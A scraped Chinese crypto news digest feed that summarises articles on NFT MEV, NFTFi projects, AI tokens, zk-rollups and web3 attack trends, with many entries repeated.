    Chainfeeds 导读： NFT 市场结构和可替代代币的市场结构存在很大不同，因此 NFT MEV 景观也看起来不同，尤其是存在较少的套利机会，更多的 MEV 会在 memepool 期间被提取。Variant 投资合伙人 Alana Levin 撰文尝试厘清 NFT 市场中的新兴 MEV 机会，并考虑在这些机会下该如何构建 NFT 基础设施。 文章来源： https://frontier.tech/the-nft-mev-landscape 文章作者： Alana Levin 观点： Alana Levin：NFT MEV 类型：1）套利：包括 Sweep 及重新上架以获得更高的价格。找到没有被视为巧合的需求，例如搜索者调用 Seaport 的 MATCH 功能来完成两个订单，并要求将差额作为小费。找到具有特定特质的 NFT，并以低于其他具有相同特质的 NFT 的交易价格买下，随后以更高的价格重新上架；2）三明治攻击：目前由于大部分 NFT 不会醉着供应变化而重新定价，因此 NFT 市场似乎不存在三明治攻击，但一些动态定价基础设施的出现，例如 Sudoswap，或许会导致三明治攻击的出现。【原文为英文】 内容来源 Alana Levin：3）清算 MEV：可能会存在一批专门操纵地板价格或某些 NFT 质押价格的搜索者，抢先或控制 NFT 清算时机；4）其他类型的 MEV：铸造期间的拥堵、与 NFT 租赁相关的套利及意外将订单保留在列表中等。【原文为英文】 内容来源 Alana Levin：NFT MEV 类型：1）套利：包括 Sweep 及重新上架以获得更高的价格。找到没有被视为巧合的需求，例如搜索者调用 Seaport 的 MATCH 功能来完成两个订单，并要求将差额作为小费。找到具有特定特质的 NFT，并以低于其他具有相同特质的 NFT 的交易价格买下，随后以更高的价格重新上架；2）三明治攻击：目前由于大部分 NFT 不会醉着供应变化而重新定价，因此 NFT 市场似乎不存在三明治攻击，但一些动态定价基础设施的出现，例如 Sudoswap，或许会导致三明治攻击的出现。【原文为英文】 内容来源  ( 25 min )
    【英文】Variant Fund 合伙人谈 NFT MEV 景观：当前结构、MEV 类型及 NFT 基础设施机会
    Chainfeeds 导读： NFT 市场结构和可替代代币的市场结构存在很大不同，因此 NFT MEV 景观也看起来不同，尤其是存在较少的套利机会，更多的 MEV 会在 memepool 期间被提取。Variant 投资合伙人 Alana Levin 撰文尝试厘清 NFT 市场中的新兴 MEV 机会，并考虑在这些机会下该如何构建 NFT 基础设施。 文章来源： https://frontier.tech/the-nft-mev-landscape 文章作者： Alana Levin 观点： Alana Levin：NFT MEV 类型：1）套利：包括 Sweep 及重新上架以获得更高的价格。找到没有被视为巧合的需求，例如搜索者调用 Seaport 的 MATCH 功能来完成两个订单，并要求将差额作为小费。找到具有特定特质的 NFT，并以低于其他具有相同特质的 NFT 的交易价格买下，随后以更高的价格重新上架；2）三明治攻击：目前由于大部分 NFT 不会醉着供应变化而重新定价，因此 NFT 市场似乎不存在三明治攻击，但一些动态定价基础设施的出现，例如 Sudoswap，或许会导致三明治攻击的出现。【原文为英文】 内容来源 Alana Levin：3）清算 MEV：可能会存在一批专门操纵地板价格或某些 NFT 质押价格的搜索者，抢先或控制 NFT 清算时机；4）其他类型的 MEV：铸造期间的拥堵、与 NFT 租赁相关的套利及意外将订单保留在列表中等。【原文为英文】 内容来源 Alana Levin：NFT MEV 类型：1）套利：包括 Sweep 及重新上架以获得更高的价格。找到没有被视为巧合的需求，例如搜索者调用 Seaport 的 MATCH 功能来完成两个订单，并要求将差额作为小费。找到具有特定特质的 NFT，并以低于其他具有相同特质的 NFT 的交易价格买下，随后以更高的价格重新上架；2）三明治攻击：目前由于大部分 NFT 不会醉着供应变化而重新定价，因此 NFT 市场似乎不存在三明治攻击，但一些动态定价基础设施的出现，例如 Sudoswap，或许会导致三明治攻击的出现。【原文为英文】 内容来源  ( 25 min )
    逆向投资原则，熊市值得关注的 9 个 NFTFi 创新项目
    Chainfeeds 导读： 加密研究员 rick awsb 精选了 9 个值得关注的 NFTFi 项目，对其进行盘点概括。 文章来源： https://twitter.com/rickawsb/status/1641470917581893632 文章作者： rick awsb 观点： rick awsb：1）Caviar，NFT Market，界面便于扫地板，有点去中心化的 blur 的意思。2）pxswap： Kava 链上的 NFT AMM，允许挂限价单，允许多币种交易 nft，项目非常早期，没有找到任何文档，非常高风险。 内容来源 rick awsb：2）Tribe3，NFT 期货交易平台，多空杠杆，AMM 机制，利用套利扳平平台和市场价格（此处有风险，一是交易量大的时候交易方有动力操控市场价格从合约获利；另外当 nft 流动性不足的时候无法快速搬平市场价格导致价差持续偏离）；The Spartan Group 投资；测试网已发布，交互可能有空投。4）Whitehole Finance，NFT 加 erc20 借贷协议，BSC 和 ARB 上发行。 内容来源 rick awsb：5）Feta，NFT 期权，测试网已上线。6）0xdx，NFT 期权 launch pad 及交易平台，无许可发布新期权。7）Goldilocks，发布 DeFi 三件套：AMM，yeild vault，NFT 借贷。都有所创新。其中，bera 系列的 NFT 借贷，以 NFT 做抵押，借 bera 治理币，币和 bera NFT 价值挂钩，所以不容易爆仓。 内容来源  ( 2 min )
    逆向投资原则，熊市值得关注的 9 个 NFTFi 创新项目
    Chainfeeds 导读： 加密研究员 rick awsb 精选了 9 个值得关注的 NFTFi 项目，对其进行盘点概括。 文章来源： https://twitter.com/rickawsb/status/1641470917581893632 文章作者： rick awsb 观点： rick awsb：1）Caviar，NFT Market，界面便于扫地板，有点去中心化的 blur 的意思。2）pxswap： Kava 链上的 NFT AMM，允许挂限价单，允许多币种交易 nft，项目非常早期，没有找到任何文档，非常高风险。 内容来源 rick awsb：2）Tribe3，NFT 期货交易平台，多空杠杆，AMM 机制，利用套利扳平平台和市场价格（此处有风险，一是交易量大的时候交易方有动力操控市场价格从合约获利；另外当 nft 流动性不足的时候无法快速搬平市场价格导致价差持续偏离）；The Spartan Group 投资；测试网已发布，交互可能有空投。4）Whitehole Finance，NFT 加 erc20 借贷协议，BSC 和 ARB 上发行。 内容来源 rick awsb：5）Feta，NFT 期权，测试网已上线。6）0xdx，NFT 期权 launch pad 及交易平台，无许可发布新期权。7）Goldilocks，发布 DeFi 三件套：AMM，yeild vault，NFT 借贷。都有所创新。其中，bera 系列的 NFT 借贷，以 NFT 做抵押，借 bera 治理币，币和 bera NFT 价值挂钩，所以不容易爆仓。 内容来源  ( 2 min )
    【英文长推】盘点 11 个加密人工智能项目：AI 和数据市场、去中心化网络、去中心化基础设施......
    Chainfeeds 导读： 人工智能和加密货币的结合叙事还将持续一段时间，加密研究员 Patrick | Dynamo DeFi 在对 47 种人工智能加密货币进行分析后，挑选了 11 个最值得关注的加密人工智能项目，并对这些项目技术的结合情况进行了解析。 文章来源： https://twitter.com/Dynamo_Patrick/status/1641600790128123905 文章作者： Patrick | Dynamo DeFi 观点： Patrick | Dynamo DeFi：去中心化网络：Bittensor（TAO）：去中心化机器学习网络，承诺将创建一个任何人都可以访问的开源网络。去中心化基础设施：1）Render（RNDR）：去中心化 3D 渲染解决方案提供商；2）Akash Network（AKT）：去中心化云计算网络，将很快在主网上线。自主代理：Fetch AI（FET）：允许自主代理连接并相互作用，两天前宣布了以 GPT 为动力的集成 Fetchbot。【原文为英文】 内容来源 Patrick | Dynamo DeFi：生成式人工智能：1）imgnAI（IMGNAI）：使用加密货币作为生成性图像的分配机制，任何用户都可以通过加密货币访问；2）Botto（BOTTO）：通过创建一个去中心化人工智能艺术家对生成性图像进行独特渲染，BOTTO 持有者能够依次从拍卖中获得收益；3）Alethea（ALI）：能够根据文本描述创建生成式字符，然后对该字符进行标记并交易其生成式输出。【原文为英文】 内容来源  ( 2 min )
    【英文长推】盘点 11 个加密人工智能项目：AI 和数据市场、去中心化网络、去中心化基础设施......
    Chainfeeds 导读： 人工智能和加密货币的结合叙事还将持续一段时间，加密研究员 Patrick | Dynamo DeFi 在对 47 种人工智能加密货币进行分析后，挑选了 11 个最值得关注的加密人工智能项目，并对这些项目技术的结合情况进行了解析。 文章来源： https://twitter.com/Dynamo_Patrick/status/1641600790128123905 文章作者： Patrick | Dynamo DeFi 观点： Patrick | Dynamo DeFi：去中心化网络：Bittensor（TAO）：去中心化机器学习网络，承诺将创建一个任何人都可以访问的开源网络。去中心化基础设施：1）Render（RNDR）：去中心化 3D 渲染解决方案提供商；2）Akash Network（AKT）：去中心化云计算网络，将很快在主网上线。自主代理：Fetch AI（FET）：允许自主代理连接并相互作用，两天前宣布了以 GPT 为动力的集成 Fetchbot。【原文为英文】 内容来源 Patrick | Dynamo DeFi：生成式人工智能：1）imgnAI（IMGNAI）：使用加密货币作为生成性图像的分配机制，任何用户都可以通过加密货币访问；2）Botto（BOTTO）：通过创建一个去中心化人工智能艺术家对生成性图像进行独特渲染，BOTTO 持有者能够依次从拍卖中获得收益；3）Alethea（ALI）：能够根据文本描述创建生成式字符，然后对该字符进行标记并交易其生成式输出。【原文为英文】 内容来源  ( 2 min )
    【英文长推】一文解读 Arken Finance：帮助开发者在 Arbitrum 上创建应用的去中心化协议
    Chainfeeds 导读： Arken Finance 是一种建立在 Arbitrum 网络上的去中心化协议，它使开发人员能够创建应用程序并帮助用户轻松高效地导航多链。加密 KOL HEADBOY 撰推介绍该协议，并分析其功能、用例、代币经济学、路线图。 文章来源： https://twitter.com/NDIDI_GRAM/status/1641137719559749632 文章作者： HEADBOY 观点： HEADBOY：Arken Finance 基本上是一个抽象层，旨在弥合协议与 dAPP 之间的差距，以帮助开发人员和用户获得快速且良好的集成体验。功能即用例：1）友好的界面；2）交易门户，为用户提供强大的交易页面和数百万流动性资金池；3）AMM 的限价订单和止损限价订单，以帮助用户在交易时管理风险和执行他们的策略；4）安全，协议经过审计，证明了其透明度和真实性，也不会受到任何智能合约风险的影响。【原文为英文】 内容来源 HEADBOY：代币经济学：$ARKEN 是协议的原生代币，最大供应量为 100 亿枚；代币分配为社区 51.75%，生态系统 18.25%。团队 15.00%。顾问 1.50%，投资者 13.50%。路线图：1）第二季度，Arken 期权作为 LP 的激励措施以及长期流动资金池，并且可能通过 GMX 集成在去信任基金管理平台上推出战略性 Alpha 金库和提供衍生品。 内容来源 HEADBOY：2）在第三季度的私募融资中，应该会进行交易所交易工具的升级和向 Zksync 和 OP 等新网络的扩展。51.75% 的 Arken Finance 代币保留给社区，其中 20% 用于激励社区，1% 用于空投。简而言之，Arken Finance 希望奖励该协议的早期采用者，即那些频繁和活跃用户。【原文为英文】 内容来源 Patrick | Dynamo DeFi：AI 和数据市场：1）SingularityNet（AGIX）：开放的去中心化网络，用户互换人工智能服务，目前已经有 12 个解决方案部署在其网络上；2）Oraichain（ORAI）：拥有 200 多个数据集的数据市场和拥有超 120 个 AI API 的 AI 市场，ORAI 用于保证网络安全并用于交易费用；3）Ocean Protocol（OCEAN）：去中心化数据市场，允许用户出售、使用和投资数据；4）iExec（RLC）：去中心化资产计算市场：允许用户在不信任对方的情况下分享数据资产及计算能力；【原文为英文】 内容来源  ( 2 min )
    【英文长推】一文解读 Arken Finance：帮助开发者在 Arbitrum 上创建应用的去中心化协议
    Chainfeeds 导读： Arken Finance 是一种建立在 Arbitrum 网络上的去中心化协议，它使开发人员能够创建应用程序并帮助用户轻松高效地导航多链。加密 KOL HEADBOY 撰推介绍该协议，并分析其功能、用例、代币经济学、路线图。 文章来源： https://twitter.com/NDIDI_GRAM/status/1641137719559749632 文章作者： HEADBOY 观点： HEADBOY：Arken Finance 基本上是一个抽象层，旨在弥合协议与 dAPP 之间的差距，以帮助开发人员和用户获得快速且良好的集成体验。功能即用例：1）友好的界面；2）交易门户，为用户提供强大的交易页面和数百万流动性资金池；3）AMM 的限价订单和止损限价订单，以帮助用户在交易时管理风险和执行他们的策略；4）安全，协议经过审计，证明了其透明度和真实性，也不会受到任何智能合约风险的影响。【原文为英文】 内容来源 HEADBOY：代币经济学：$ARKEN 是协议的原生代币，最大供应量为 100 亿枚；代币分配为社区 51.75%，生态系统 18.25%。团队 15.00%。顾问 1.50%，投资者 13.50%。路线图：1）第二季度，Arken 期权作为 LP 的激励措施以及长期流动资金池，并且可能通过 GMX 集成在去信任基金管理平台上推出战略性 Alpha 金库和提供衍生品。 内容来源 HEADBOY：2）在第三季度的私募融资中，应该会进行交易所交易工具的升级和向 Zksync 和 OP 等新网络的扩展。51.75% 的 Arken Finance 代币保留给社区，其中 20% 用于激励社区，1% 用于空投。简而言之，Arken Finance 希望奖励该协议的早期采用者，即那些频繁和活跃用户。【原文为英文】 内容来源 Patrick | Dynamo DeFi：AI 和数据市场：1）SingularityNet（AGIX）：开放的去中心化网络，用户互换人工智能服务，目前已经有 12 个解决方案部署在其网络上；2）Oraichain（ORAI）：拥有 200 多个数据集的数据市场和拥有超 120 个 AI API 的 AI 市场，ORAI 用于保证网络安全并用于交易费用；3）Ocean Protocol（OCEAN）：去中心化数据市场，允许用户出售、使用和投资数据；4）iExec（RLC）：去中心化资产计算市场：允许用户在不信任对方的情况下分享数据资产及计算能力；【原文为英文】 内容来源  ( 2 min )
    mStable、Superform、Balancer 和 Aztec 宣布成立「4626 联盟」，以资助推动 ERC-4626 标准发展
    mStable、Superform、Balancer 和 Aztec 宣布成立「4626 联盟」，以资助推动 ERC-4626 标准发展 代币化 Vaults 标准 ERC-4626 早期采用者宣布成立「4626 联盟」，以促进合作及资助推动 ERC-4626 标准发展。根据介绍，「4626 联盟」成员将致力于创造公共产品，包括创建一个赏金委员会、通过活动推广 ERC-4626 标准及创建和维护开源 ERC-4626 资源库等。目前合作伙伴包括 mStable、Superform、Balancer 和 Aztec，均承诺向 Gnosis Safe 提供 3000 至 5000 美元资金以资助 ERC-4626 公共产品。「4626 联盟」首批成员包括 Frax Finance、Alchemix、Joey Santoro 和 Sommelier Finance。 内容来源 观点： 4626 Alliance：ERC-4626 是一个代币化 Vaults 标准，降低了为很多 DeFi 项目提供动力的有收益的 Vault 的整合工作、提高了各个 DeFi 项目的可组合性和能力，并且能够创建原生衍生资产，产生独立于基础资产的新流动性。【原文为英文】 内容来源 4626 Alliance：「4626 联盟」官网：https://erc4626.info/ 内容来源  ( 6 min )
    mStable、Superform、Balancer 和 Aztec 宣布成立「4626 联盟」，以资助推动 ERC-4626 标准发展
    mStable、Superform、Balancer 和 Aztec 宣布成立「4626 联盟」，以资助推动 ERC-4626 标准发展 代币化 Vaults 标准 ERC-4626 早期采用者宣布成立「4626 联盟」，以促进合作及资助推动 ERC-4626 标准发展。根据介绍，「4626 联盟」成员将致力于创造公共产品，包括创建一个赏金委员会、通过活动推广 ERC-4626 标准及创建和维护开源 ERC-4626 资源库等。目前合作伙伴包括 mStable、Superform、Balancer 和 Aztec，均承诺向 Gnosis Safe 提供 3000 至 5000 美元资金以资助 ERC-4626 公共产品。「4626 联盟」首批成员包括 Frax Finance、Alchemix、Joey Santoro 和 Sommelier Finance。 内容来源 观点： 4626 Alliance：ERC-4626 是一个代币化 Vaults 标准，降低了为很多 DeFi 项目提供动力的有收益的 Vault 的整合工作、提高了各个 DeFi 项目的可组合性和能力，并且能够创建原生衍生资产，产生独立于基础资产的新流动性。【原文为英文】 内容来源 4626 Alliance：「4626 联盟」官网：https://erc4626.info/ 内容来源  ( 6 min )
    【英文长推】Delphi Digital：ZK-Rollup 正在获得 L2 生态系统份额，速览各类解决方案最新进展
    Chainfeeds 导读： 过去一周内，Polygon 和 ZkSync 分别宣布在主网上线与 EVM 兼容的 ZK-Rollup 解决方案。什么是 ZK-Rollup？与 Optimistic Rollup 又有何区别？Polygon 和 ZkSync 的解决方案之间又有何异同？Delphi Digital 撰文带你一探究竟。 文章来源： https://twitter.com/Delphi_Digital/status/1641513302307094528 文章作者： Delphi Digital 观点： Delphi Digital：目前存在两种类型 Rollup： Optimistic Rollup 和 ZK-Rollup。以太坊自动接受 Optimistic Rollup，欺诈证明有一周的时间来解决声明问题，重新执行交易并更新相应余额。该方法可以降低费用，但用户会失去快速提款的机会。 ZK-Rollup 则利用了有效性证明，相比于 Optimistic Rollup，能更快的完成证明以显著减少等待时间。【原文为英文】 内容来源 Delphi Digital：zkEVM 则通过与 ZK-Rollup 有效性证明兼容的方式执行 EVM 智能合约。最新进展包括 Polygon 及 zkSync Era 都于本周推出了自己的 zkEVM。Polygon 宣布推出了 EVM 等效的 Rollup，而 zkSync 则宣布推出了 EVM 兼容 Rollup。二者的区别在于 EVM 等效 Rollup 允许智能合约在不改变工具的情况下工作，而与 EVM 兼容的 Rollup 则需要使用专门的编译器。【原文为英文】 内容来源 Delphi Digital：zkSync Era 的 EVM 兼容性将解锁例如账户抽象及数据压缩等强大功能。而 Polygon zkEVM 则实现了一种新的共识机制，被称为效率证明（POE），在序列器和聚合器之间分割批量创建过程以提高去中心化性和网络安全性。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Delphi Digital：ZK-Rollup 正在获得 L2 生态系统份额，速览各类解决方案最新进展
    Chainfeeds 导读： 过去一周内，Polygon 和 ZkSync 分别宣布在主网上线与 EVM 兼容的 ZK-Rollup 解决方案。什么是 ZK-Rollup？与 Optimistic Rollup 又有何区别？Polygon 和 ZkSync 的解决方案之间又有何异同？Delphi Digital 撰文带你一探究竟。 文章来源： https://twitter.com/Delphi_Digital/status/1641513302307094528 文章作者： Delphi Digital 观点： Delphi Digital：目前存在两种类型 Rollup： Optimistic Rollup 和 ZK-Rollup。以太坊自动接受 Optimistic Rollup，欺诈证明有一周的时间来解决声明问题，重新执行交易并更新相应余额。该方法可以降低费用，但用户会失去快速提款的机会。 ZK-Rollup 则利用了有效性证明，相比于 Optimistic Rollup，能更快的完成证明以显著减少等待时间。【原文为英文】 内容来源 Delphi Digital：zkEVM 则通过与 ZK-Rollup 有效性证明兼容的方式执行 EVM 智能合约。最新进展包括 Polygon 及 zkSync Era 都于本周推出了自己的 zkEVM。Polygon 宣布推出了 EVM 等效的 Rollup，而 zkSync 则宣布推出了 EVM 兼容 Rollup。二者的区别在于 EVM 等效 Rollup 允许智能合约在不改变工具的情况下工作，而与 EVM 兼容的 Rollup 则需要使用专门的编译器。【原文为英文】 内容来源 Delphi Digital：zkSync Era 的 EVM 兼容性将解锁例如账户抽象及数据压缩等强大功能。而 Polygon zkEVM 则实现了一种新的共识机制，被称为效率证明（POE），在序列器和聚合器之间分割批量创建过程以提高去中心化性和网络安全性。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Chronos 协议引入 The Reliquary 合约：到期调整流动性头寸
    Chainfeeds 导读： Chronos 协议旨在打破孤岛并增加 Arbitrum 网络中的流动性，其近期引入 The Reliquary 合约，该合约采用一种独特的代币奖励方式，即到期调整流动性头寸（maNFTs）。加密研究员 Cyril-DeFi 对该机制进行详细解读，认为引入 maNFT 使 Chronos 能够改进 ve (3,3) 模型，为 DeFi 流动性提供者带来令人兴奋的可能性和经济收益。 文章来源： https://twitter.com/cyrilXBT/status/1641069791497658369 文章作者： Cyril - DeFi 观点： Cyril - DeFi：Chronos 协议通过创建一个有利于网络中所有参与者的高效流动性层、打破孤岛并增加增长机会。一个关键特征是激励代币持有者并允许项目本身鼓励用户持有他们的代币，不仅通过提供高额奖励而且将它们锁定在具有不同时间框架的智能合约中。The Reliquary 引入了一种新方法，使 LP 与长期协议的成功保持一致，该合约采用了一种独特的代币奖励方式：到期调整流动性头寸（maNFTs）。【原文为英文】 内容来源 Cyril - DeFi：借助 maNFT，LP 提供者可以随着时间的推移扩大其代币奖励，确保可持续的长期合作关系，该协议的长期成功现在与 maNFT 中的流动性提供者完全一致。零基准模型确保了 LP 永远不会因通胀而受到稀释。同时 maNFT 提供了突破性的 chrNFT 筹款策略，这将使去中心化项目能够有效和透明地筹集资金。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Chronos 协议引入 The Reliquary 合约：到期调整流动性头寸
    Chainfeeds 导读： Chronos 协议旨在打破孤岛并增加 Arbitrum 网络中的流动性，其近期引入 The Reliquary 合约，该合约采用一种独特的代币奖励方式，即到期调整流动性头寸（maNFTs）。加密研究员 Cyril-DeFi 对该机制进行详细解读，认为引入 maNFT 使 Chronos 能够改进 ve (3,3) 模型，为 DeFi 流动性提供者带来令人兴奋的可能性和经济收益。 文章来源： https://twitter.com/cyrilXBT/status/1641069791497658369 文章作者： Cyril - DeFi 观点： Cyril - DeFi：Chronos 协议通过创建一个有利于网络中所有参与者的高效流动性层、打破孤岛并增加增长机会。一个关键特征是激励代币持有者并允许项目本身鼓励用户持有他们的代币，不仅通过提供高额奖励而且将它们锁定在具有不同时间框架的智能合约中。The Reliquary 引入了一种新方法，使 LP 与长期协议的成功保持一致，该合约采用了一种独特的代币奖励方式：到期调整流动性头寸（maNFTs）。【原文为英文】 内容来源 Cyril - DeFi：借助 maNFT，LP 提供者可以随着时间的推移扩大其代币奖励，确保可持续的长期合作关系，该协议的长期成功现在与 maNFT 中的流动性提供者完全一致。零基准模型确保了 LP 永远不会因通胀而受到稀释。同时 maNFT 提供了突破性的 chrNFT 筹款策略，这将使去中心化项目能够有效和透明地筹集资金。【原文为英文】 内容来源  ( 2 min )
    【英文】Stelo Labs：Web3 安全状态，盘点加密货币攻击类型
    Chainfeeds 导读： 过去 18 个月左右，不断上涨的资产价值和加密货币的采用为黑客和诈骗者提供了更多乞讨、借用和窃取他人加密货币的机会。Stelo Labs 研究员 Eli Qian 撰文解释了 2022 年（及以后）的一些主要攻击、趋势和工具，目的是提高对 web3 安全格局的认识和理解。 文章来源： https://blog.stelolabs.com/state-of-web3-security-part-1/ 文章作者： Eli Qian 观点： Eli Qian：《华尔街日报》报道称，加密欺诈从 2021 年的 9.07 亿美元跃升至 2022 年的 25.7 亿美元。攻击者和诈骗者不断迭代，重点是技术更复杂的攻击。攻击类型：1）跨链桥，仅跨链桥被黑就损失了超过 10 亿美元，在许多情况下，攻击者使用智能合约漏洞来攻击跨链桥。2）网络钓鱼，一种社会工程形式，旨在诱使人们泄露敏感信息或执行某些恶意操作。在加密的篇章中，这通常意味着泄露私钥或签署恶意消息和交易。【原文为英文】 内容来源 Eli Qian：3）DeFi 攻击向量，例如治理攻击和价格预言机操纵，是特定于加密货币性质的新颖策略。其他攻击利用加密项目使用的工具和服务中的漏洞。4）DNS 攻击：攻击者利用 DNS 提供商中的漏洞或破坏用于更改 DNS 配置的凭据。在最近的加密 DNS 攻击的背景下，攻击者更改了最终用户在输入域名时访问的服务器。【原文为英文】 内容来源  ( 24 min )
    【英文长推】解读 Dolomite：完整的 GMX 和 GLP 支持的 DeFi 集成协议
    Chainfeeds 导读： 第一代 GLP 集成不允许用户保持对 esGMX 奖励或乘数积分的所有权，而新一代的 DeFi 集成协议 Dolomite 则改变了这一点，加密 KOL slappjakke 则对此协议的优势、策略进行详细解读。 文章来源： https://twitter.com/slappjakke/status/1641423433446862848 文章作者： slappjakke.eth 观点： slappjakke.eth：Dolomite 完整的 GMX 支持意味着什么？1）使用 GLP 作为抵押品在 Dolomite 上开立借贷头寸；2）执行从 GMX 到 Dolomite 的全账户转账；3）继续累积奖励，质押 GMX 和质押 esGMX，同时以 GLP 借款；4）使用 GLP（或 staked-GMX）将 esGMX 投入 GMX，即使是在针对 GLP 借款时也是如此；5）领取并复利用户的所有乘数点以提高 ETH 收益。【原文为英文】 内容来源 无为Be Water@crypto：Dolomite 不收取任何费用，而其他协议通常会使你的 GLP APR 降低 10-20%，并允许构建许多集成，例如 PlutusDAO 的 plvGLP、Camelot 的 spNFT、Vela 的 VLP 等。可使用的策略：1）杠杆 GLP，将你的 GLP 循环利用高达 5 倍以赚取额外收益，同时在 ETH/BTC 上做多约 2.5 倍。2）Delta 中性 GLP，以 2 倍杠杆建立 Delta 中性仓位。存入 1000 美元 GLP - 借入 600 美元 ETH - 卖出 USDC - 存入更多 GLP - 借入 400 美元 BTC - 卖出 USDC - 存入 GLP。【原文为英文】 内容来源  ( 2 min )
    【长推】WePiggy 创始人解读 ParaSpace 新机制：能否有效避免闪电贷攻击？
    Chainfeeds 导读： ParaSpace 在解决被盗事故并重新上线运营后引入了一个新机制，利用 Timelock 让取款必须等待至少一个区块，以避免闪电贷攻击。WePiggy 创始人 Ron 撰文概述了该机制的实现逻辑及优缺点。 文章来源： https://twitter.com/Ron_zheng/status/1641389980215050240 文章作者： Ron（WePiggy 创始人） 观点： Ron（WePiggy 创始人）：以前用户可以在一笔交易内无限制存取资金，这就为许多闪电贷攻击制造了机会。ParaSpace 开发了一个新机制，在业务合约和用户钱包之间创建了一个包含时间锁的智能合约钱包，并对取款金额设置了最小值和风控值。风控值是在分析协议数据之后制定的，除了个人单笔限制，也有对整个资金池的限制。 内容来源 Ron（WePiggy 创始人）：1）当用户取款金额小于最小值时，发起取款后资金进入智能合约钱包。用户仅需等待一个区块，即可将智能合约钱包里的资金转入个人钱包；2）当用户取款金额大于最小值，小于风控值时，发起取款后资金进入智能合约钱包。用户需等待 2 个小时，方可将智能合约钱包里的资金转入个人钱包；3）当用户取款金额大于风控值时，发起取款后资金进入智能合约钱包。用户需等待 12 个小时，方可将智能合约钱包里的资金转入个人钱包。 内容来源 Ron（WePiggy 创始人）：虽然该机制为用户体验引入了些许摩擦，原来一步即可完成的取款操作变成了两步，并且大额取款可能需要一定等待期。但在提升协议资金池的安全，以及用户体验的下降之间，最大限度地找到了平衡。对这个机制的引入，作为开发者的我是十分支持的。 内容来源  ( 2 min )
    交易员的视角：复盘银行危机、美联储加息以来加密市场波动分析
    Chainfeeds 导读： PANews 专栏作者 无为 Be Water@crypto 撰文从交易员的视角，复盘银行危机、美联储加息以来加密市场波动分析，认为在这些事件之后比特币既表现为避险资产，又呈现出风险资产属性，归根结底还是离不开流动性及其预期的变化。 文章来源： https://www.panewslab.com/zh/articledetails/35v73e9a45ht.html 文章作者： 无为Be Water@crypto 观点： 无为Be Water@crypto：中小银行危机带来市场恐慌情绪：中小银行的流动性压力，再加上系统重要性银行瑞士信贷的危机，带来市场的普遍恐慌情绪，标普 500 在 3 月 9 日、10 日连续跌破长期以来的 200 日支撑，直至 3 月 12 日美财政部、美联储、FDIC 宣布紧急救助方案 BTFP，才使得美股在 13 日开盘后重新回到支撑线附近。 内容来源 无为Be Water@crypto：美联储等机构联手救助银行，避险情绪带动黄金和比特币同频的上涨：为缓解中小型银行压力而新增释放的流动性，自然对资本市场造成了影响。在 3 月 10 号之后，加密货币、黄金、纳斯达克都对于新增释放的流动性做出正反馈。比特币更是快速突破前期 2.5 万美元的阻力位，最高升至 $28937。在这段时间中，比特币更多凸显了避险资产的属性，在加密货币市值占有率突破 43% 高位。 内容来源 无为Be Water@crypto：继续加息的鹰派论调和控制银行救助范围，带来风险资产的普遍回调：鲍威尔强调全体票委一致认为今年没有减息的必要，叠加美财政部主席耶伦几乎同时发出了扩大存款保证近期可能性不大后，美股、比特币同频下跌。 内容来源  ( 1 min )
    【英文】Volt Capital：了解订单流可提取价值，存在哪些挑战及机会？
    Chainfeeds 导读： 围绕用户订单流设计可证明的公平及去中心化的拍卖制度无疑将是未来 12 至 18 个月内加密领域的主要挑战之一。Volt Capital 研究员 Natalie Mullins 撰文对订单流的可提取价值进行了研究，包括相关挑战及挑战的技术和设计影响等内容。 文章来源： https://volt.capital/blog/understanding-order-flow-extractable-value 文章作者： nataliemarie.eth 观点： nataliemarie.eth：现实情况中，订单流发起者（用户、钱包、应用程序及 RPC）都希望从订单流中提取 MEV 的一部分，并且行使他们拥有的任何杠杆来使他们对订单流的访问代币化及限制竞争对手的访问。归根结底，订单流可提取价值的主要挑战包括：确保用户得到最好的用户体验、验证者得到充分补偿、寻租最小化及遏制中心化力量。【原文为英文】 内容来源 nataliemarie.eth：解决订单流价值提取的两个主要设计：1）OFA：已经成为拍卖用户订单执行权的主导方式，并促进 MEV 捕获及重新分配给发起人，具有各种不同的形式，但每一种都有不同的设计权衡，包括参与方式、支持的订单类型、信息披露等；2）PET：该方式并不是把保护隐私作为最终目标，而是尽可能降低合作的成本。一些经常讨论的 PET 包括可信执行环境（TEE）、多方计算及完全同态加密。【原文为英文】 内容来源  ( 6 min )
    【英文】可定制模块化 Rollup 提供商 Eclipse 解读：开启 Rollup 定制化时代？
    Chainfeeds 导读： 与其他具备固有组件的 Rollup 不同，Eclipse 可以轻松构建不同形式的 Rollup，例如选择使用 Polygon Avail 作为共识和 DA 解决方案的同时使用 SVM 执行交易。加密研究员 100y.eth 对 Eclipse 进行了深入研究，包括组件、生态系统及潜在应用等。 文章来源： https://medium.com/a41-ventures/rollup-series-part-6-eclipse-a-customizable-rollup-provider-7722aa5d163c 文章作者： 100y.eth💜 | a41 观点： 100y.eth💜 | a41：Eclipse 组件：1）虚拟机：Eclipse 支持 EVM 和 SVM，并计划在未来引入各种虚拟机，包括 MoveVM；2）定制虚拟机：可以定制执行层中的各种元素，包括 Gas 费、合规和隐私、MEV 及专用操作码；3）结算层：Eclipse 结算层在基于 Celestia 的主权 Rollup 上运行，仅用于验证在其上运行的 Rollup 网络的有效性。目前，Eclipse 计划只支持 optimistic Rollup，未来计划支持 Zk-rollups；4）数据可用性层：Eclipse 允许使用 Celestia、Polygon Avail、Solana 和 Ethereum 等不同网络作为 DA 层。【原文为英文】 内容来源 100y.eth💜 | a41：生态系统：1）Polygon SVM：由 Eclipse 和 Polygon Labs 合作推出，计划部署在即将推出的 Polygon Avail 网络，将为各种基于 Solana 的 dApp 提供优势；2）Zebec：基于 Solana 的 dApp，为雇主提供服务，允许他们按分钟支付员工工资，并对支付、财务及代币进行管理；3）Yama Finance：全链去中心化稳定币协议，基于链间信息传递协议 Hyperlane 使得稳定币在多个链上变得易于使用。【原文为英文】 内容来源  ( 16 min )
    【英文长推】观点：NFT 的出处是一切，AI 生成的 NFT 不会取代现有 NFT 的价值
